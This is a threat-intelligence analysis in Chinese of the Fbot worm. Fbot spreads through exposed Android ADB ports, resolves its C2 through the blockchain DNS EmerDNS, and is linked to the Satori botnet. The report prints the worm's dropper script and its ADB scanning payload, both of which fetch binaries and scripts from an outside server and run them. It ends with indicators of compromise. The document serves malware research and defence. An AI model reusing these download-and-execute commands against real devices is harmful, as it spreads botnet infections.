Fbot，一个Satori相关的、基于区块链DNS的蠕虫

从2018-09-13 11:30 UTC开始，我们首次注意到一个新的蠕虫正在清理 com.ufo.miner。在完成了清理动作后，该蠕虫会等待来自C2（musl.lib，66.42.57.45:7000， Singapore/SG）的下一步指令。我们将该蠕虫命名为fbot，主要是因为该蠕虫的主要执行模块使用了这个名字。该C2域名的解析，需要通过EmerDNS，一个emercoin.com旗下的区块链DNS完成。


com.ufo.miner 与我们之前多次 报告 的 ADB.Miner 类似，利用adb安卓调试接口传播，并挖矿。ADB.Miner 是我们今年二月首次 报告 的，自那以后，类似的其他僵尸网络已经长期传播，感染了包括 Amazon FireTV 在内的多种设备。


最后，新的蠕虫Fbot与臭名昭著的 Satori 僵尸网络有关联。


分析


FBot的恶意样本通过 adb 安卓系统调试接口投入，这与之前的 ADB.Miner 的投入方式一致。


投入载荷会下载执行 hxxp://188.209.52.142/c，或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl，下文不再区分。两个脚本的主体功能一致，包括：


 * 尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本；
 * 卸载 com.ufo.miner，一个类似ADB.Miner的挖矿组件；
 * 完成自身清理工作。


该脚本的详细内容如下：


#!/system/bin/sh

n="arm7 mipsel mips x86 x86_64 aarch64"
http_server="188.209.52.142"

for i in $n
do
    cp /system/bin/sh fbot.$i
    >fbot.$i
    curl hxxp://$http_server/fbot.$i > fbot.$i   #    wget hxxp://$http_server/fbot.$i > fbot.$i
    chmod 777 fbot.$i
    ./fbot.$i
    rm fbot.$i
done

# Cleanup
for i in $n
do
    rm fbot.$i
done

pm uninstall com.ufo.miner

# Suicide
rm $0



下载得到的 fbot.{arch} 是个mirai的变种，主要特点包括：


 * C2：musl.lib:7000，当前在EmerDNS上的解析地址为 66.42.57.45，Singapore/SG Singapore
 * 扫描和传播：针对 TCP 5555 adb 端口扫描。扫描成功后，会下载hxxp://188.209.52.142/c，完成对蠕虫自身的传播。
 * 进程清理：样本中会遍历 /proc/pid/exe 目录下面的特定进程，如smi、xig、rig等。枚举得到符合条件的进程后，会杀掉该进程。


该变种保留了 mirai 僵尸网络的DDoS功能，但我们尚未检测到该C2有发出DDoS攻击指令。


扫描阶段的载荷如下：


shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c



枚举进程列表


/data/local/tmp/smi
/data/local/tmp/xig
/data/local/tmp/trinity
/data/local/tmp/z
/data/local/tmp/log
/data/local/tmp/rig
/data/local/tmp/.f
/data/local/tmp/tyg



主控域名 musl.lib 在EmereDNS上的解析


C2域名musl.lib不是一个标准的DNS域名。其顶级域 .lib 并没有在 ICANN 注册，也不能被通用的DNS系统解析，实际是由emercoin.com旗下EmerDNS系统解析。EmerDNS是一个基于区块链的DNS系统，在其官方网站上宣称，EmerDNS建立与区块链技术之上，完全去中心化，只有记录创建者才能操作记录内容。


当用户要想访问 *.lib 的网站时，可以有几种选择。由于公共DNS服务商OpenNIC的支持，用户可以通过OpenNic公司旗下的公共DNS服务器访问 *.lib 网站，或者用户可以给浏览器安装特定器扩展，或者是自行架设Emer节点。


Fbot蠕虫作者选择了OpenNic公司的公共DNS服务。蠕虫中硬编码了一组OpenNic公共服务器IP地址，被感染的机器通过向这些服务器请求，得到 musl.lib 的EmerDNS解析IP。样本中硬编码的DNS解析服务器至少包括：


176.126.70.119
163.53.248.170
174.138.48.29
5.132.191.104
107.172.42.186
163.172.168.171
174.138.48.29
185.208.208.141
163.53.248.170
5.132.191.104



当前 musl.lib 的EmerDNS解析结果如下：


https://explorer.emercoin.com/nvs//musl.lib//25/1/1



读者可以利用如下命令重现上述解析过程：


user@netlab.360.com$dig musl.lib @seed2.emercoin.com +short
66.42.57.45



我们猜测恶意代码使用EmerDNS的原因，可能是下列之一：


 * 提高安全分析人员追踪的难度；
 * 安全分析人员难以通过与ICANN成员单位的合作来 sinkhole 该域名；


这样，恶意代码作者可以长期保持对该僵尸网络的控制。


Fbot 与 Satori 僵尸网络的关系


Fbot 蠕虫与 Satori 僵尸网络的关系，展现于下图中：





在上图中：


 * Fbot的主控IP地址66.42.57.45，与Satori的主控域名 rippr.cc，通过和注册邮箱 ukrainianhorseriding.com/village@riseup.net 相连
 * 另外，27.102.115.44 这个IP与Fbot也有关系
   
   * 如图中所示该IP通过 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com 域名与Fbot主控IP相连；
   * 而且，该IP上的URL布局也与Fbot的下载服务器188.209.52.142的URL布局基本一致，见文末IoC。
   


综上，我们认为图中展示的域名、IP、URL、样本构成了强烈内聚的一簇，Fbot可以归属到Satori。


联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。或者发送邮件给 netlab at 360 dot cn 。


IoC


下载服务器


188.209.52.142 Netherlands/NL	AS49349



C2服务器


musl.lib         #主控域名，由区块链DNS系统EmerDNS解析
66.42.57.45:7000 #Singapore/SG Singapore  #当前主控IP
ukrainianhorseriding.com #历史关联域名
27.102.115.44    #Republic of Korea/KR	AS45996
rippr.cc         #历史关联域名，Satori主控



下载URL


hxxp://188.209.52.142/c          #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理
hxxp://188.209.52.142/w          #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理
hxxp://188.209.52.142/fbot.aarch64     #扫描器，下同，完成自身的蠕虫传播
hxxp://188.209.52.142/fbot.arm7
hxxp://188.209.52.142/fbot.mips
hxxp://188.209.52.142/fbot.mipsel
hxxp://188.209.52.142/fbot.x86
hxxp://188.209.52.142/fbot.x86_64
hxxp://27.102.115.44/c          #历史关联脚本
hxxp://27.102.115.44/w
hxxp://27.102.115.44/mipsel.bot.le
hxxp://27.102.115.44/mips.bot.be
hxxp://27.102.115.44/i686.bot.le
hxxp://27.102.115.44/arm7.bot.le
hxxp://27.102.115.44/arm64.bot.le
hxxp://27.102.115.44/x86_64.bot.le
hxxp://27.102.115.44/adbs
hxxp://27.102.115.44/adbs2
hxxp://27.102.115.44/